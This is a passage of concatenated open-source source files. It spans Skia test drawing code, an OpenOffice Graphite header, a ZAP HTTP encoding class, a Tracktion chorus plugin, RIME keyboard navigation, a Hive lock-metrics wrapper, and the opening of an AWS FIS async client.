SkRect::MakeXYWH(x + SkIntToScalar(190), y + SkIntToScalar(280), SkIntToScalar(100), SkIntToScalar(100)); path4.reset(); SkASSERT(!SkPathPriv::CheapComputeFirstDirection(path4, NULL)); path4.addRect(r, SkPath::kCCW_Direction); SkASSERT(SkPathPriv::CheapIsFirstDirection(path4, SkPathPriv::kCCW_FirstDirection)); path4.moveTo(0, 0); // test for crbug.com/247770 canvas->drawPath(path4, paint); r = SkRect::MakeXYWH(x + SkIntToScalar(310), y + SkIntToScalar(280), SkIntToScalar(100), SkIntToScalar(100)); path4.reset(); SkASSERT(!SkPathPriv::CheapComputeFirstDirection(path4, NULL)); path4.addRect(r, SkPath::kCW_Direction); SkASSERT(SkPathPriv::CheapIsFirstDirection(path4, SkPathPriv::kCW_FirstDirection)); path4.moveTo(0, 0); // test for crbug.com/247770 canvas->drawPath(path4, paint); } private: typedef GM INHERITED; }; ////////////////////////////////////////////////////////////////////////////// DEF_GM(return SkNEW(StrokeFillGM);) }
2,277
679
<reponame>Grosskopf/openoffice /************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ #ifndef _SV_GRAPHITETEXTSRC_HXX #define _SV_GRAPHITETEXTSRC_HXX // Description: Implements the Graphite interfaces IGrTextSource and // IGrGraphics which provide Graphite with access to the // app's text storage system and the platform's font and // graphics systems. // We need this to enable namespace support in libgrengine headers. #define GR_NAMESPACE // Standard Library #include <stdexcept> // Platform #ifndef _SVWIN_H #include <tools/svwin.h> #endif #include <svsys.h> #include <salgdi.hxx> #include <sallayout.hxx> // Module #include "vcl/dllapi.h" // Libraries #include <preextstl.h> #include <graphite/GrClient.h> #include <graphite/Font.h> #include <graphite/ITextSource.h> #include <postextstl.h> // Module type definitions and forward declarations. // namespace grutils { class GrFeatureParser; } // Implements the Adaptor pattern to adapt the LayoutArgs and the ServerFont interfaces to the // gr::IGrTextSource interface. // @author tse // class TextSourceAdaptor : public gr::ITextSource { public: TextSourceAdaptor(ImplLayoutArgs &layout_args, const int nContextLen) throw(); ~TextSourceAdaptor(); virtual gr::UtfType utfEncodingForm(); virtual size_t getLength(); virtual size_t fetch(gr::toffset ichMin, size_t cch, gr::utf32 * prgchBuffer); virtual size_t fetch(gr::toffset ichMin, size_t cch, gr::utf16 * prgchwBuffer); virtual size_t fetch(gr::toffset ichMin, size_t cch, gr::utf8 * prgchsBuffer); virtual bool getRightToLeft(gr::toffset ich); virtual unsigned int getDirectionDepth(gr::toffset ich); virtual float getVerticalOffset(gr::toffset ich); virtual gr::isocode getLanguage(gr::toffset ich); virtual ext_std::pair<gr::toffset, gr::toffset> propertyRange(gr::toffset ich); virtual size_t getFontFeatures(gr::toffset ich, gr::FeatureSetting * prgfset); virtual bool sameSegment(gr::toffset ich1, gr::toffset ich2); virtual bool featureVariations() { return false; } operator ImplLayoutArgs & () throw(); void setFeatures(const grutils::GrFeatureParser * pFeatures); const ImplLayoutArgs & getLayoutArgs() const { return maLayoutArgs; } size_t getContextLength() const { return mnEnd; }; inline void switchLayoutArgs(ImplLayoutArgs & newArgs); private: // Prevent the generation of a default assignment operator. TextSourceAdaptor & operator=(const TextSourceAdaptor &); void getCharProperties(const int, int &, int &, size_t &); ImplLayoutArgs maLayoutArgs; size_t mnEnd; const grutils::GrFeatureParser * mpFeatures; }; inline TextSourceAdaptor::TextSourceAdaptor(ImplLayoutArgs &la, const int nContextLen) throw() : maLayoutArgs(la), mnEnd(std::min(la.mnLength, nContextLen)), mpFeatures(NULL) { } inline TextSourceAdaptor::operator ImplLayoutArgs & () throw() { return maLayoutArgs; } inline void TextSourceAdaptor::switchLayoutArgs(ImplLayoutArgs & aNewArgs) { mnEnd += aNewArgs.mnMinCharPos - maLayoutArgs.mnMinCharPos; maLayoutArgs = aNewArgs; } #endif
1,518
10,016
/* * Zed Attack Proxy (ZAP) and its related class files. * * ZAP is an HTTP/HTTPS proxy for assessing web application security. * * Copyright 2020 The ZAP Development Team * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.zaproxy.zap.network; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; abstract class AbstractStreamHttpEncoding implements HttpEncoding { private static final int BUFFER_SIZE = 2048; private final OutputStreamSupplier outputStreamSupplier; private final InputStreamSupplier inputStreamSupplier; protected AbstractStreamHttpEncoding( OutputStreamSupplier outputStreamSupplier, InputStreamSupplier inputStreamSupplier) { this.outputStreamSupplier = outputStreamSupplier; this.inputStreamSupplier = inputStreamSupplier; } @Override public byte[] encode(byte[] content) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); try (OutputStream os = outputStreamSupplier.get(baos)) { os.write(content); } return baos.toByteArray(); } @Override public byte[] decode(byte[] content) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); try (ByteArrayInputStream bais = new ByteArrayInputStream(content); InputStream is = inputStreamSupplier.get(bais)) { byte[] buffer = new byte[BUFFER_SIZE]; int len; while ((len = is.read(buffer)) != -1) { baos.write(buffer, 0, len); } } return baos.toByteArray(); } protected interface OutputStreamSupplier { OutputStream get(ByteArrayOutputStream os) throws IOException; } protected interface InputStreamSupplier { InputStream get(ByteArrayInputStream os) throws IOException; } }
833
1,384
<gh_stars>1000+ """ Things that rely on the LLVM library """ from .dylib import * from .executionengine import * from .initfini import * from .linker import * from .module import * from .options import * from .passmanagers import * from .targets import * from .transforms import * from .value import * from .analysis import * from .object_file import * from .context import *
110
734
/* ,--. ,--. ,--. ,--. ,-' '-.,--.--.,--,--.,---.| |,-.,-' '-.`--' ,---. ,--,--, Copyright 2018 '-. .-'| .--' ,-. | .--'| /'-. .-',--.| .-. || \ Tracktion Software | | | | \ '-' \ `--.| \ \ | | | |' '-' '| || | Corporation `---' `--' `--`--'`---'`--'`--' `---' `--' `---' `--''--' www.tracktion.com Tracktion Engine uses a GPL/commercial licence - see LICENCE.md for details. */ namespace tracktion_engine { ChorusPlugin::ChorusPlugin (PluginCreationInfo info) : Plugin (info) { auto um = getUndoManager(); depthMs.referTo (state, IDs::depthMs, um, 3.0f); speedHz.referTo (state, IDs::speedHz, um, 1.0f); width.referTo (state, IDs::width, um, 0.5f); mixProportion.referTo (state, IDs::mixProportion, um, 0.5f); } ChorusPlugin::~ChorusPlugin() { notifyListenersOfDeletion(); } const char* ChorusPlugin::xmlTypeName = "chorus"; void ChorusPlugin::initialise (const PluginInitialisationInfo& info) { const float delayMs = 20.0f; const int maxLengthMs = 1 + roundToInt (delayMs + depthMs); int bufferSizeSamples = roundToInt ((maxLengthMs * info.sampleRate) / 1000.0); delayBuffer.ensureMaxBufferSize (bufferSizeSamples); delayBuffer.clearBuffer(); phase = 0.0f; } void ChorusPlugin::deinitialise() { delayBuffer.releaseBuffer(); } void ChorusPlugin::applyToBuffer (const PluginRenderContext& fc) { if (fc.destBuffer == nullptr) return; SCOPED_REALTIME_CHECK float ph = 0.0f; int bufPos = 0; const float delayMs = 20.0f; const float minSweepSamples = (float) ((delayMs * sampleRate) / 1000.0); const float maxSweepSamples = (float) (((delayMs + depthMs) * sampleRate) / 1000.0); const float speed = (float)((juce::MathConstants<double>::pi * 2.0) / (sampleRate / speedHz)); const int maxLengthMs = 1 + roundToInt (delayMs + depthMs); const int lengthInSamples = roundToInt ((maxLengthMs * sampleRate) / 1000.0); delayBuffer.ensureMaxBufferSize (lengthInSamples); const float feedbackGain = 0.0f; // xxx not sure why this value was here.. const float lfoFactor = 0.5f * (maxSweepSamples - minSweepSamples); const float lfoOffset = minSweepSamples + lfoFactor; AudioFadeCurve::CrossfadeLevels wetDry (mixProportion); clearChannels (*fc.destBuffer, 2, -1, fc.bufferStartSample, fc.bufferNumSamples); for (int chan = jmin (2, fc.destBuffer->getNumChannels()); --chan >= 0;) { float* const d = fc.destBuffer->getWritePointer (chan, fc.bufferStartSample); float* const buf = (float*) delayBuffer.buffers[chan].getData(); ph = phase; if (chan > 0) ph += juce::MathConstants<float>::pi * width; bufPos = delayBuffer.bufferPos; for (int i = 0; i < fc.bufferNumSamples; ++i) { const float in = d[i]; const float sweep = lfoOffset + lfoFactor * sinf (ph); ph += speed; int intSweepPos = roundToInt (sweep); const float interp = sweep - intSweepPos; intSweepPos = bufPos + lengthInSamples - intSweepPos; const float out = buf[(intSweepPos - 1) % lengthInSamples] * interp + buf[intSweepPos % lengthInSamples] * (1.0f - interp); float n = in + out * feedbackGain; JUCE_UNDENORMALISE (n); buf[bufPos] = n; d[i] = out * wetDry.gain1 + in * wetDry.gain2; bufPos = (bufPos + 1) % lengthInSamples; } } jassert (! hasFloatingPointDenormaliseOccurred()); zeroDenormalisedValuesIfNeeded (*fc.destBuffer); phase = ph; if (phase >= MathConstants<float>::pi * 2) phase -= MathConstants<float>::pi * 2; delayBuffer.bufferPos = bufPos; } void ChorusPlugin::restorePluginStateFromValueTree (const juce::ValueTree& v) { CachedValue<float>* cvsFloat[] = { &depthMs, &width, &mixProportion, &speedHz, nullptr }; copyPropertiesToNullTerminatedCachedValues (v, cvsFloat); for (auto p : getAutomatableParameters()) p->updateFromAttachedValue(); } }
1,781
2,326
// // Copyright RIME Developers // Distributed under the BSD License // // 2011-11-20 <NAME> <<EMAIL>> // #include <boost/range/adaptor/reversed.hpp> #include <rime/common.h> #include <rime/composition.h> #include <rime/context.h> #include <rime/engine.h> #include <rime/key_event.h> #include <rime/key_table.h> #include <rime/schema.h> #include <rime/gear/navigator.h> #include <rime/gear/translator_commons.h> namespace rime { static Navigator::ActionDef navigation_actions[] = { { "rewind", &Navigator::Rewind }, { "left_by_char", &Navigator::LeftByChar }, { "right_by_char", &Navigator::RightByChar }, { "left_by_syllable", &Navigator::LeftBySyllable }, { "right_by_syllable", &Navigator::RightBySyllable }, { "home", &Navigator::Home }, { "end", &Navigator::End }, Navigator::kActionNoop }; Navigator::Navigator(const Ticket& ticket) : Processor(ticket), KeyBindingProcessor<Navigator>(navigation_actions) { // Default key binding. Bind({XK_Left, 0}, &Navigator::Rewind); Bind({XK_Left, kControlMask}, &Navigator::LeftBySyllable); Bind({XK_KP_Left, 0}, &Navigator::LeftByChar); Bind({XK_Right, 0}, &Navigator::RightByChar); Bind({XK_Right, kControlMask}, &Navigator::RightBySyllable); Bind({XK_KP_Right, 0}, &Navigator::RightByChar); Bind({XK_Home, 0}, &Navigator::Home); Bind({XK_KP_Home, 0}, &Navigator::Home); Bind({XK_End, 0}, &Navigator::End); Bind({XK_KP_End, 0}, &Navigator::End); Config* config = engine_->schema()->config(); KeyBindingProcessor::LoadConfig(config, "navigator"); } ProcessResult Navigator::ProcessKeyEvent(const KeyEvent& key_event) { if (key_event.release()) return kNoop; Context* ctx = engine_->context(); if (!ctx->IsComposing()) return kNoop; return KeyBindingProcessor::ProcessKeyEvent(key_event, ctx); } void Navigator::LeftBySyllable(Context* ctx) { BeginMove(ctx); size_t confirmed_pos = ctx->composition().GetConfirmedPosition(); JumpLeft(ctx, confirmed_pos) || GoToEnd(ctx); } void Navigator::LeftByChar(Context* ctx) { BeginMove(ctx); MoveLeft(ctx) || GoToEnd(ctx); } void Navigator::Rewind(Context* ctx) { BeginMove(ctx); // take a jump leftwards when there are multiple spans, // but not from the middle of a span. ( spans_.Count() > 1 && spans_.HasVertex(ctx->caret_pos()) ? JumpLeft(ctx) : MoveLeft(ctx) ) || GoToEnd(ctx); } void Navigator::RightBySyllable(Context* ctx) { BeginMove(ctx); size_t confirmed_pos = ctx->composition().GetConfirmedPosition(); JumpRight(ctx, confirmed_pos) || GoToEnd(ctx); } void Navigator::RightByChar(Context* ctx) { BeginMove(ctx); MoveRight(ctx) || GoHome(ctx); } void Navigator::Home(Context* ctx) { BeginMove(ctx); GoHome(ctx); } void Navigator::End(Context* ctx) { BeginMove(ctx); GoToEnd(ctx); } void Navigator::BeginMove(Context* ctx) { ctx->ConfirmPreviousSelection(); // update spans if (input_ != ctx->input() || ctx->caret_pos() > spans_.end()) { input_ = ctx->input(); spans_.Clear(); for (const auto &seg : ctx->composition()) { if (auto phrase = As<Phrase>( Candidate::GetGenuineCandidate( seg.GetSelectedCandidate()))) { spans_.AddSpans(phrase->spans()); } spans_.AddSpan(seg.start, seg.end); } } } bool Navigator::JumpLeft(Context* ctx, size_t start_pos) { DLOG(INFO) << "jump left."; size_t caret_pos = ctx->caret_pos(); size_t stop = spans_.PreviousStop(caret_pos); if (stop < start_pos) { stop = ctx->input().length(); // rewind } if (stop != caret_pos) { ctx->set_caret_pos(stop); return true; } return false; } bool Navigator::JumpRight(Context* ctx, size_t start_pos) { DLOG(INFO) << "jump right."; size_t caret_pos = ctx->caret_pos(); if (caret_pos == ctx->input().length()) { caret_pos = start_pos; // rewind } size_t stop = spans_.NextStop(caret_pos); if (stop != caret_pos) { ctx->set_caret_pos(stop); return true; } return false; } bool Navigator::MoveLeft(Context* ctx) { DLOG(INFO) << "navigate left."; size_t caret_pos = ctx->caret_pos(); if (caret_pos == 0) return false; ctx->set_caret_pos(caret_pos - 1); return true; } bool Navigator::MoveRight(Context* ctx) { DLOG(INFO) << "navigate right."; size_t caret_pos = ctx->caret_pos(); if (caret_pos >= ctx->input().length()) return false; ctx->set_caret_pos(caret_pos + 1); return true; } bool Navigator::GoHome(Context* ctx) { DLOG(INFO) << "navigate home."; size_t caret_pos = ctx->caret_pos(); const Composition& comp = ctx->composition(); if (!comp.empty()) { size_t confirmed_pos = caret_pos; for (const Segment& seg : boost::adaptors::reverse(comp)) { if (seg.status >= Segment::kSelected) { break; } confirmed_pos = seg.start; } if (confirmed_pos < caret_pos) { ctx->set_caret_pos(confirmed_pos); return true; } } if (caret_pos != 0) { ctx->set_caret_pos(0); return true; } return false; } bool Navigator::GoToEnd(Context* ctx) { DLOG(INFO) << "navigate end."; size_t end_pos = ctx->input().length(); if (ctx->caret_pos() != end_pos) { ctx->set_caret_pos(end_pos); return true; } return false; } } // namespace rime
2,141
460
// Copyright 2012 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "BT_Common.h" #include "BT_DropObject.h" DropObject::DropObject() { hasObjectEntered = false; hasValidSources = false; } DropObject::~DropObject() { } bool DropObject::isBeingHoveredOver() { // ------------------------------------------------------------------------- // NOTE: This function returns a state that signifies weather an object is // hovering over it. // ------------------------------------------------------------------------- return hasObjectEntered; } void DropObject::onDropEnter(vector<BumpObject *> &objList) { // ------------------------------------------------------------------------- // NOTE: This function gets triggered when an object enters the bounding // region of the object it represents. // ------------------------------------------------------------------------- source = objList; if (!source.empty()) { hasObjectEntered = true; } } void DropObject::onDropExit() { // ------------------------------------------------------------------------- // NOTE: This function gets triggered when an object, that was once dragged // over another object, leaves its bounds. // ------------------------------------------------------------------------- hasObjectEntered = false; source.clear(); } vector<BumpObject *> DropObject::onDrop(vector<BumpObject *> &objList) { // ------------------------------------------------------------------------- // NOTE: This function receives a list of objects that the user dragged into // its area and released the mouse. // ------------------------------------------------------------------------- return objList; } void DropObject::onDropHover(vector<BumpObject *> &objList) { // ------------------------------------------------------------------------- // NOTE: This function receives a list of objects that it will act upon when // the user drags those objects into the area of this object. Only // after a time out threshold will this event get fired. // ------------------------------------------------------------------------- } QString DropObject::resolveDropOperationString(vector<BumpObject *>& objList ) { return QT_TR_NOOP("Move"); } bool DropObject::isValidDropTarget() { // ------------------------------------------------------------------------- // NOTE: If an object can receive other objects by way of dragging, this // function should return true. // ------------------------------------------------------------------------- return false; } bool DropObject::isSourceValid() { // ------------------------------------------------------------------------- // NOTE: This function will return true if the object(s) that are being // dragged over it can be accepted as a valid source. // ------------------------------------------------------------------------- return false; }
912
4,140
<filename>llap-common/src/java/org/apache/hadoop/hive/llap/metrics/ReadWriteLockMetrics.java /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License a * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.hadoop.hive.llap.metrics; import com.google.common.annotations.VisibleForTesting; import com.google.common.base.Preconditions; import java.io.Serializable; import java.util.ArrayList; import java.util.Comparator; import java.util.List; import java.util.concurrent.TimeUnit; import java.util.concurrent.locks.Condition; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReadWriteLock; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.hive.conf.HiveConf; import org.apache.hadoop.metrics2.MetricsCollector; import org.apache.hadoop.metrics2.MetricsInfo; import org.apache.hadoop.metrics2.MetricsSource; import org.apache.hadoop.metrics2.annotation.Metric; import org.apache.hadoop.metrics2.annotation.Metrics; import org.apache.hadoop.metrics2.lib.MutableCounterLong; /** * Wrapper around a read/write lock to collect the lock wait times. * Instances of this wrapper class can be used to collect/accumulate the wai * times around R/W locks. This is helpful if the source of a performance issue * might be related to lock contention and you need to identify the actual * locks. Instances of this class can be wrapped around any <code>ReadWriteLock * </code> implementation. */ public class ReadWriteLockMetrics implements ReadWriteLock { private LockWrapper readLock; ///< wrapper around original read lock private LockWrapper writeLock; ///< wrapper around original write lock /** * Helper class to compare two <code>LockMetricSource</code> instances. * This <code>Comparator</code> class can be used to sort a list of <code> * LockMetricSource</code> instances in descending order by their total lock * wait time. */ public static class MetricsComparator implements Comparator<MetricsSource>, Serializable { private static final long serialVersionUID = -1; @Override public int compare(MetricsSource o1, MetricsSource o2) { if (o1 != null && o2 != null && o1 instanceof LockMetricSource && o2 instanceof LockMetricSource) { LockMetricSource lms1 = (LockMetricSource)o1; LockMetricSource lms2 = (LockMetricSource)o2; long totalMs1 = (lms1.readLockWaitTimeTotal.value() / 1000000L) + (lms1.writeLockWaitTimeTotal.value() / 1000000L); long totalMs2 = (lms2.readLockWaitTimeTotal.value() / 1000000L) + (lms2.writeLockWaitTimeTotal.value() / 1000000L); // sort descending by total lock time if (totalMs1 < totalMs2) { return 1; } if (totalMs1 > totalMs2) { return -1; } // sort by label (ascending) if lock time is the same return lms1.lockLabel.compareTo(lms2.lockLabel); } return 0; } } /** * Wraps a <code>ReadWriteLock</code> into a monitored lock if required by * configuration. This helper is checking the <code> * hive.llap.lockmetrics.collect</code> configuration option and wraps the * passed in <code>ReadWriteLock</code> into a monitoring container if the * option is set to <code>true</code>. Otherwise, the original (passed in) * lock instance is returned unmodified. * * @param conf Configuration instance to check for LLAP conf options * @param lock The <code>ReadWriteLock</code> to wrap for monitoring * @param metrics The target container for locking metrics * @see #createLockMetricsSource */ public static ReadWriteLock wrap(Configuration conf, ReadWriteLock lock, MetricsSource metrics) { Preconditions.checkNotNull(lock, "Caller has to provide valid input lock"); boolean needsWrap = false; if (null != conf) { needsWrap = HiveConf.getBoolVar(conf, HiveConf.ConfVars.LLAP_COLLECT_LOCK_METRICS); } if (false == needsWrap) { return lock; } Preconditions.checkNotNull(metrics, "Caller has to procide group specific metrics source"); return new ReadWriteLockMetrics(lock, metrics); } /** * Factory method for new metric collections. * You can create and use a single <code>MetricsSource</code> collection for * multiple R/W locks. This makes sense if several locks belong to a single * group and you're then interested in the accumulated values for the whole * group, rather than the single lock instance. The passed in label is * supposed to identify the group uniquely. * * @param label The group identifier for lock statistics */ public static MetricsSource createLockMetricsSource(String label) { Preconditions.checkNotNull(label); Preconditions.checkArgument(!label.contains("\""), "Label can't contain quote (\")"); return new LockMetricSource(label); } /** * Returns a list with all created <code>MetricsSource</code> instances for * the R/W lock metrics. The returned list contains the instances that were * previously created via the <code>createLockMetricsSource</code> function. * * @return A list of all R/W lock based metrics sources */ public static List<MetricsSource> getAllMetricsSources() { ArrayList<MetricsSource> ret = null; synchronized (LockMetricSource.allInstances) { ret = new ArrayList<>(LockMetricSource.allInstances); } return ret; } /// Enumeration of metric info names and descriptions @VisibleForTesting public enum LockMetricInfo implements MetricsInfo { ReadLockWaitTimeTotal("The total wait time for read locks in nanoseconds"), ReadLockWaitTimeMax("The maximum wait time for a read lock in nanoseconds"), ReadLockCount("Total amount of read lock requests"), WriteLockWaitTimeTotal( "The total wait time for write locks in nanoseconds"), WriteLockWaitTimeMax( "The maximum wait time for a write lock in nanoseconds"), WriteLockCount("Total amount of write lock requests"); private final String description; ///< metric description /** * Creates a new <code>MetricsInfo</code> with the given description. * * @param desc The description of the info */ private LockMetricInfo(String desc) { description = desc; } @Override public String description() { return this.description; } } /** * Source of the accumulated lock times and counts. * Instances of this <code>MetricSource</code> can be created via the static * factory method <code>createLockMetricsSource</code> and shared across * multiple instances of the outer <code>ReadWriteLockMetric</code> class. */ @Metrics(about = "Lock Metrics", context = "locking") private static class LockMetricSource implements MetricsSource { private static final ArrayList<MetricsSource> allInstances = new ArrayList<>(); private final String lockLabel; ///< identifier for the group of locks /// accumulated wait time for read locks @Metric MutableCounterLong readLockWaitTimeTotal; /// highest wait time for read locks @Metric MutableCounterLong readLockWaitTimeMax; /// total number of read lock calls @Metric MutableCounterLong readLockCounts; /// accumulated wait time for write locks @Metric MutableCounterLong writeLockWaitTimeTotal; /// highest wait time for write locks @Metric MutableCounterLong writeLockWaitTimeMax; /// total number of write lock calls @Metric MutableCounterLong writeLockCounts; /** * Creates a new metrics collection instance. * Several locks can share a single <code>MetricsSource</code> instances * where all of them increment the metrics counts together. This can be * interesting to have a single instance for a group of related locks. The * group should then be identified by the label. * * @param label The identifier of the metrics collection */ private LockMetricSource(String label) { lockLabel = label; readLockWaitTimeTotal = new MutableCounterLong(LockMetricInfo.ReadLockWaitTimeTotal, 0); readLockWaitTimeMax = new MutableCounterLong(LockMetricInfo.ReadLockWaitTimeMax, 0); readLockCounts = new MutableCounterLong(LockMetricInfo.ReadLockCount, 0); writeLockWaitTimeTotal = new MutableCounterLong(LockMetricInfo.WriteLockWaitTimeTotal, 0); writeLockWaitTimeMax = new MutableCounterLong(LockMetricInfo.WriteLockWaitTimeMax, 0); writeLockCounts = new MutableCounterLong(LockMetricInfo.WriteLockCount, 0); synchronized (allInstances) { allInstances.add(this); } } @Override public void getMetrics(MetricsCollector collector, boolean all) { collector.addRecord(this.lockLabel) .setContext("Locking") .addCounter(LockMetricInfo.ReadLockWaitTimeTotal, readLockWaitTimeTotal.value()) .addCounter(LockMetricInfo.ReadLockWaitTimeMax, readLockWaitTimeMax.value()) .addCounter(LockMetricInfo.ReadLockCount, readLockCounts.value()) .addCounter(LockMetricInfo.WriteLockWaitTimeTotal, writeLockWaitTimeTotal.value()) .addCounter(LockMetricInfo.WriteLockWaitTimeMax, writeLockWaitTimeMax.value()) .addCounter(LockMetricInfo.WriteLockCount, writeLockCounts.value()); } @Override public String toString() { long avgRead = 0L; long avgWrite = 0L; long totalMillis = 0L; if (0 < readLockCounts.value()) { avgRead = readLockWaitTimeTotal.value() / readLockCounts.value(); } if (0 < writeLockCounts.value()) { avgWrite = writeLockWaitTimeTotal.value() / writeLockCounts.value(); } totalMillis = (readLockWaitTimeTotal.value() / 1000000L) + (writeLockWaitTimeTotal.value() / 1000000L); StringBuffer sb = new StringBuffer(); sb.append("{ \"type\" : \"R/W Lock Stats\", \"label\" : \""); sb.append(lockLabel); sb.append("\", \"totalLockWaitTimeMillis\" : "); sb.append(totalMillis); sb.append(", \"readLock\" : { \"count\" : "); sb.append(readLockCounts.value()); sb.append(", \"avgWaitTimeNanos\" : "); sb.append(avgRead); sb.append(", \"maxWaitTimeNanos\" : "); sb.append(readLockWaitTimeMax.value()); sb.append(" }, \"writeLock\" : { \"count\" : "); sb.append(writeLockCounts.value()); sb.append(", \"avgWaitTimeNanos\" : "); sb.append(avgWrite); sb.append(", \"maxWaitTimeNanos\" : "); sb.append(writeLockWaitTimeMax.value()); sb.append(" } }"); return sb.toString(); } } /** * Inner helper class to wrap the original lock with a monitored one. * This inner class is delegating all actual locking operations to the wrapped * lock, while itself is only responsible to measure the time that it took to * acquire a specific lock. */ private static class LockWrapper implements Lock { /// the lock to delegate the work to private final Lock wrappedLock; /// total lock wait time in nanos private final MutableCounterLong lockWaitTotal; /// highest lock wait time (max) private final MutableCounterLong lockWaitMax; /// number of lock counts private final MutableCounterLong lockWaitCount; /** * Creates a new wrapper around an existing lock. * * @param original The original lock to wrap by this monitoring lock * @param total The (atomic) counter to increment for total lock wait time * @param max The (atomic) counter to adjust to the maximum wait time * @param cnt The (atomic) counter to increment with each lock call */ LockWrapper(Lock original, MutableCounterLong total, MutableCounterLong max, MutableCounterLong cnt) { wrappedLock = original; this.lockWaitTotal = total; this.lockWaitMax = max; this.lockWaitCount = cnt; } @Override public void lock() { long start = System.nanoTime(); wrappedLock.lock(); incrementBy(System.nanoTime() - start); } @Override public void lockInterruptibly() throws InterruptedException { long start = System.nanoTime(); wrappedLock.lockInterruptibly(); incrementBy(System.nanoTime() - start); } @Override public boolean tryLock() { return wrappedLock.tryLock(); } @Override public boolean tryLock(long time, TimeUnit unit) throws InterruptedException { long start = System.nanoTime(); boolean ret = wrappedLock.tryLock(time, unit); incrementBy(System.nanoTime() - start); return ret; } @Override public void unlock() { wrappedLock.unlock(); } @Override public Condition newCondition() { return wrappedLock.newCondition(); } /** * Helper to increment the monitoring counters. * Called from the lock implementations to increment the total/max/coun * values of the monitoring counters. * * @param waitTime The actual wait time (in nanos) for the lock operation */ private void incrementBy(long waitTime) { this.lockWaitTotal.incr(waitTime); this.lockWaitCount.incr(); if (waitTime > this.lockWaitMax.value()) { this.lockWaitMax.incr(waitTime - this.lockWaitMax.value()); } } } /** * Creates a new monitoring wrapper around a R/W lock. * The so created wrapper instance can be used instead of the original R/W * lock, which then automatically updates the monitoring values in the <code> * MetricsSource</code>. This allows easy "slide in" of lock monitoring where * originally only a standard R/W lock was used. * * @param lock The original R/W lock to wrap for monitoring * @param metrics The target for lock monitoring */ private ReadWriteLockMetrics(ReadWriteLock lock, MetricsSource metrics) { Preconditions.checkNotNull(lock); Preconditions.checkArgument(metrics instanceof LockMetricSource, "Invalid MetricsSource"); LockMetricSource lms = (LockMetricSource)metrics; readLock = new LockWrapper(lock.readLock(), lms.readLockWaitTimeTotal, lms.readLockWaitTimeMax, lms.readLockCounts); writeLock = new LockWrapper(lock.writeLock(), lms.writeLockWaitTimeTotal, lms.writeLockWaitTimeMax, lms.writeLockCounts); } @Override public Lock readLock() { return readLock; } @Override public Lock writeLock() { return writeLock; } }
5,554
3,372
<gh_stars>1000+ /* * Copyright 2016-2021 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with * the License. A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions * and limitations under the License. */ package com.amazonaws.services.fis; import javax.annotation.Generated; import com.amazonaws.services.fis.model.*; import com.amazonaws.client.AwsAsyncClientParams; import com.amazonaws.annotation.ThreadSafe; import java.util.concurrent.ExecutorService; /** * Client for accessing FIS asynchronously. Each asynchronous method will return a Java Future object representing the * asynchronous operation; overloads which accept an {@code AsyncHandler} can be used to receive notification when an * asynchronous operation completes. * <p> * <p> * AWS Fault Injection Simulator is a managed service that enables you to perform fault injection experiments on your * AWS workloads. For more information, see the <a href="https://docs.aws.amazon.com/fis/latest/userguide/">AWS Fault * Injection Simulator User Guide</a>. * </p> */ @ThreadSafe @Generated("com.amazonaws:aws-java-sdk-code-generator") public class AWSFISAsyncClient extends AWSFISClient implements AWSFISAsync { private static final int DEFAULT_THREAD_POOL_SIZE = 50; private final java.util.concurrent.ExecutorService executorService; public static AWSFISAsyncClientBuilder asyncBuilder() { return AWSFISAsyncClientBuilder.standard(); } /** * Constructs a new asynchronous client to invoke service methods on FIS using the specified parameters. * * @param asyncClientParams * Object providing client parameters. */ AWSFISAsyncClient(AwsAsyncClientParams asyncClientParams) { this(asyncClientParams, false); } /** * Constructs a new asynchronous client to invoke service methods on FIS using the specified parameters. * * @param asyncClientParams * Object providing client parameters. * @param endpointDiscoveryEnabled * true will enable endpoint discovery if the service supports it. */ AWSFISAsyncClient(AwsAsyncClientParams asyncClientParams, boolean endpointDiscoveryEnabled) { super(asyncClientParams, endpointDiscoveryEnabled); this.executorService = asyncClientParams.getExecutor(); } /** * Returns the executor service used by this client to execute async requests. * * @return The executor service used by this client to execute async requests. */ public ExecutorService getExecutorService() { return executorService; } @Override public java.util.concurrent.Future<CreateExperimentTemplateResult> 